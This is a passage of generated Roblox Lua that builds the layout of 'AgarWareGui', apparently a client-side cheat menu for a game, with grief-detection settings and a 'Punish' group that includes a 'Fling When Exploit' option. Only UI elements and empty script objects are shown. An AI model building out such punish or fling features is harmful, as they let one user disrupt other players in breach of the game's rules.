G2L["21a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["21a"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["21a"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["21a"]["Text"] = [[?]];
G2L["21a"]["Name"] = [[TimeFilterHelp]];
G2L["21a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow
G2L["21b"] = Instance.new("Frame", G2L["20f"]);
G2L["21b"]["BorderSizePixel"] = 0;
G2L["21b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["21b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["21b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21b"]["Name"] = [[WListLabelRow]];
G2L["21b"]["LayoutOrder"] = 20;
G2L["21b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelScript
G2L["21c"] = Instance.new("LocalScript", G2L["21b"]);
G2L["21c"]["Name"] = [[WListLabelScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelText
G2L["21d"] = Instance.new("TextLabel", G2L["21b"]);
G2L["21d"]["BorderSizePixel"] = 0;
G2L["21d"]["TextSize"] = 14;
G2L["21d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["21d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21d"]["BackgroundTransparency"] = 1;
G2L["21d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["21d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21d"]["Text"] = [[Whitelist Players:]];
G2L["21d"]["Name"] = [[WListLabelText]];
G2L["21d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelHelp
G2L["21e"] = Instance.new("TextButton", G2L["21b"]);
G2L["21e"]["TextSize"] = 14;
G2L["21e"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["21e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["21e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["21e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["21e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["21e"]["Text"] = [[?]];
G2L["21e"]["Name"] = [[WListLabelHelp]];
G2L["21e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow
G2L["21f"] = Instance.new("Frame", G2L["20f"]);
G2L["21f"]["BorderSizePixel"] = 0;
G2L["21f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["21f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["21f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21f"]["Name"] = [[WListRow]];
G2L["21f"]["LayoutOrder"] = 21;
G2L["21f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListScript
G2L["220"] = Instance.new("LocalScript", G2L["21f"]);
G2L["220"]["Name"] = [[WListScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListDropdown
G2L["221"] = Instance.new("TextButton", G2L["21f"]);
G2L["221"]["TextSize"] = 14;
G2L["221"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["221"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["221"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["221"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["221"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["221"]["Text"] = [[]];
G2L["221"]["Name"] = [[WListDropdown]];
G2L["221"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow
G2L["222"] = Instance.new("Frame", G2L["20f"]);
G2L["222"]["BorderSizePixel"] = 0;
G2L["222"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["222"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["222"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["222"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["222"]["Name"] = [[GriefInGameRow]];
G2L["222"]["LayoutOrder"] = 5;
G2L["222"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameScript
G2L["223"] = Instance.new("LocalScript", G2L["222"]);
G2L["223"]["Name"] = [[GriefInGameScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameTickBox
G2L["224"] = Instance.new("TextButton", G2L["222"]);
G2L["224"]["TextSize"] = 14;
G2L["224"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["224"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["224"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["224"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["224"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["224"]["Text"] = [[]];
G2L["224"]["Name"] = [[GriefInGameTickBox]];
G2L["224"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameText
G2L["225"] = Instance.new("TextLabel", G2L["222"]);
G2L["225"]["BorderSizePixel"] = 0;
G2L["225"]["TextSize"] = 14;
G2L["225"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["225"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["225"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["225"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["225"]["BackgroundTransparency"] = 1;
G2L["225"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["225"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["225"]["Text"] = [[Abandoned Blocks]];
G2L["225"]["Name"] = [[GriefInGameText]];
G2L["225"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow
G2L["226"] = Instance.new("Frame", G2L["20f"]);
G2L["226"]["BorderSizePixel"] = 0;
G2L["226"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["226"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["226"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["226"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["226"]["Name"] = [[GriefEnlightenRow]];
G2L["226"]["LayoutOrder"] = 5;
G2L["226"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenScript
G2L["227"] = Instance.new("LocalScript", G2L["226"]);
G2L["227"]["Name"] = [[GriefEnlightenScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenTickBox
G2L["228"] = Instance.new("TextButton", G2L["226"]);
G2L["228"]["TextSize"] = 14;
G2L["228"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["228"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["228"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["228"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["228"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["228"]["Text"] = [[]];
G2L["228"]["Name"] = [[GriefEnlightenTickBox]];
G2L["228"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenText
G2L["229"] = Instance.new("TextLabel", G2L["226"]);
G2L["229"]["BorderSizePixel"] = 0;
G2L["229"]["TextSize"] = 14;
G2L["229"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["229"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["229"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["229"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["229"]["BackgroundTransparency"] = 1;
G2L["229"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["229"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["229"]["Text"] = [[Detect Enlighteners]];
G2L["229"]["Name"] = [[GriefEnlightenText]];
G2L["229"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow
G2L["22a"] = Instance.new("Frame", G2L["20f"]);
G2L["22a"]["BorderSizePixel"] = 0;
G2L["22a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["22a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["22a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22a"]["Name"] = [[CooldownGriefRow]];
G2L["22a"]["LayoutOrder"] = 3;
G2L["22a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefText
G2L["22b"] = Instance.new("TextLabel", G2L["22a"]);
G2L["22b"]["BorderSizePixel"] = 0;
G2L["22b"]["TextSize"] = 14;
G2L["22b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["22b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22b"]["BackgroundTransparency"] = 1;
G2L["22b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["22b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22b"]["Text"] = [[Cooldown]];
G2L["22b"]["Name"] = [[CooldownGriefText]];
G2L["22b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger
G2L["22c"] = Instance.new("TextBox", G2L["22a"]);
G2L["22c"]["Name"] = [[CooldownGriefChanger]];
G2L["22c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["22c"]["TextWrapped"] = true;
G2L["22c"]["TextSize"] = 14;
G2L["22c"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["22c"]["TextScaled"] = true;
G2L["22c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22c"]["PlaceholderText"] = [[(30)]];
G2L["22c"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["22c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["22c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["22c"]["Text"] = [[]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger.CooldownScript
G2L["22d"] = Instance.new("LocalScript", G2L["22c"]);
G2L["22d"]["Name"] = [[CooldownScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefHelp
G2L["22e"] = Instance.new("TextButton", G2L["22a"]);
G2L["22e"]["TextSize"] = 14;
G2L["22e"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["22e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["22e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["22e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["22e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["22e"]["Text"] = [[?]];
G2L["22e"]["Name"] = [[CooldownGriefHelp]];
G2L["22e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup
G2L["22f"] = Instance.new("Frame", G2L["20d"]);
G2L["22f"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["22f"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["22f"]["Size"] = UDim2.new(0, 170, 0, 104);
G2L["22f"]["Position"] = UDim2.new(0, 0, 0.4, 0);
G2L["22f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["22f"]["Name"] = [[PunishGroup]];
G2L["22f"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishScript
G2L["230"] = Instance.new("LocalScript", G2L["22f"]);
G2L["230"]["Name"] = [[PunishScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishToolTip
G2L["231"] = Instance.new("LocalScript", G2L["22f"]);
G2L["231"]["Name"] = [[PunishToolTip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.UIListLayout
G2L["232"] = Instance.new("UIListLayout", G2L["22f"]);
G2L["232"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishAccentColor
G2L["233"] = Instance.new("Frame", G2L["22f"]);
G2L["233"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["233"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["233"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["233"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["233"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["233"]["Name"] = [[PunishAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishTitle
G2L["234"] = Instance.new("TextLabel", G2L["22f"]);
G2L["234"]["TextWrapped"] = true;
G2L["234"]["BorderSizePixel"] = 0;
G2L["234"]["TextSize"] = 14;
G2L["234"]["TextScaled"] = true;
G2L["234"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["234"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["234"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["234"]["BackgroundTransparency"] = 0.95;
G2L["234"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["234"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["234"]["Text"] = [[Punish]];
G2L["234"]["LayoutOrder"] = 1;
G2L["234"]["Name"] = [[PunishTitle]];
G2L["234"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishTitle.PunishMinimize
G2L["235"] = Instance.new("TextButton", G2L["234"]);
G2L["235"]["BorderSizePixel"] = 0;
G2L["235"]["TextSize"] = 14;
G2L["235"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["235"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["235"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["235"]["BackgroundTransparency"] = 1;
G2L["235"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["235"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["235"]["Text"] = [[-]];
G2L["235"]["Name"] = [[PunishMinimize]];
G2L["235"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow
G2L["236"] = Instance.new("Frame", G2L["22f"]);
G2L["236"]["BorderSizePixel"] = 0;
G2L["236"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["236"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["236"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["236"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["236"]["Name"] = [[AlertGriefRow]];
G2L["236"]["LayoutOrder"] = 2;
G2L["236"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefScript
G2L["237"] = Instance.new("LocalScript", G2L["236"]);
G2L["237"]["Name"] = [[AlertGriefScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefTickBox
G2L["238"] = Instance.new("TextButton", G2L["236"]);
G2L["238"]["TextSize"] = 14;
G2L["238"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["238"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["238"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["238"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["238"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["238"]["Text"] = [[]];
G2L["238"]["Name"] = [[AlertGriefTickBox]];
G2L["238"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefText
G2L["239"] = Instance.new("TextLabel", G2L["236"]);
G2L["239"]["BorderSizePixel"] = 0;
G2L["239"]["TextSize"] = 14;
G2L["239"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["239"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["239"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["239"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["239"]["BackgroundTransparency"] = 1;
G2L["239"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["239"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["239"]["Text"] = [[Alert in Chat]];
G2L["239"]["Name"] = [[AlertGriefText]];
G2L["239"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow
G2L["23a"] = Instance.new("Frame", G2L["22f"]);
G2L["23a"]["BorderSizePixel"] = 0;
G2L["23a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["23a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["23a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23a"]["Name"] = [[ConfirmGriefRow]];
G2L["23a"]["LayoutOrder"] = 3;
G2L["23a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefScript
G2L["23b"] = Instance.new("LocalScript", G2L["23a"]);
G2L["23b"]["Name"] = [[ConfirmGriefScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefTickBox
G2L["23c"] = Instance.new("TextButton", G2L["23a"]);
G2L["23c"]["TextSize"] = 14;
G2L["23c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["23c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["23c"]["Text"] = [[]];
G2L["23c"]["Name"] = [[ConfirmGriefTickBox]];
G2L["23c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefText
G2L["23d"] = Instance.new("TextLabel", G2L["23a"]);
G2L["23d"]["BorderSizePixel"] = 0;
G2L["23d"]["TextSize"] = 14;
G2L["23d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["23d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23d"]["BackgroundTransparency"] = 1;
G2L["23d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["23d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23d"]["Text"] = [[Confirm Grief]];
G2L["23d"]["Name"] = [[ConfirmGriefText]];
G2L["23d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow
G2L["23e"] = Instance.new("Frame", G2L["22f"]);
G2L["23e"]["BorderSizePixel"] = 0;
G2L["23e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["23e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["23e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23e"]["Name"] = [[SFXGriefRow]];
G2L["23e"]["LayoutOrder"] = 3;
G2L["23e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefScript
G2L["23f"] = Instance.new("LocalScript", G2L["23e"]);
G2L["23f"]["Name"] = [[SFXGriefScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefTickBox
G2L["240"] = Instance.new("TextButton", G2L["23e"]);
G2L["240"]["TextSize"] = 14;
G2L["240"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["240"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["240"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["240"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["240"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["240"]["Text"] = [[]];
G2L["240"]["Name"] = [[SFXGriefTickBox]];
G2L["240"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefText
G2L["241"] = Instance.new("TextLabel", G2L["23e"]);
G2L["241"]["BorderSizePixel"] = 0;
G2L["241"]["TextSize"] = 14;
G2L["241"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["241"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["241"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["241"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["241"]["BackgroundTransparency"] = 1;
G2L["241"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["241"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["241"]["Text"] = [[Play Alert Sfx]];
G2L["241"]["Name"] = [[SFXGriefText]];
G2L["241"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow
G2L["242"] = Instance.new("Frame", G2L["22f"]);
G2L["242"]["BorderSizePixel"] = 0;
G2L["242"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["242"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["242"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["242"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["242"]["Name"] = [[FlingExploitRow]];
G2L["242"]["LayoutOrder"] = 3;
G2L["242"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitScript
G2L["243"] = Instance.new("LocalScript", G2L["242"]);
G2L["243"]["Name"] = [[FlingExploitScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitTickBox
G2L["244"] = Instance.new("TextButton", G2L["242"]);
G2L["244"]["TextSize"] = 14;
G2L["244"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["244"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["244"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["244"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["244"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["244"]["Text"] = [[]];
G2L["244"]["Name"] = [[FlingExploitTickBox]];
G2L["244"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitText
G2L["245"] = Instance.new("TextLabel", G2L["242"]);
G2L["245"]["BorderSizePixel"] = 0;
G2L["245"]["TextSize"] = 14;
G2L["245"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["245"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["245"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["245"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["245"]["BackgroundTransparency"] = 1;
G2L["245"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["245"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["245"]["Text"] = [[Fling When Exploit]];
G2L["245"]["Name"] = [[FlingExploitText]];
G2L["245"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage
G2L["246"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["246"]["Visible"] = false;
G2L["246"]["Active"] = true;
G2L["246"]["BorderSizePixel"] = 0;
G2L["246"]["Name"] = [[TCOMiscPage]];
G2L["246"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
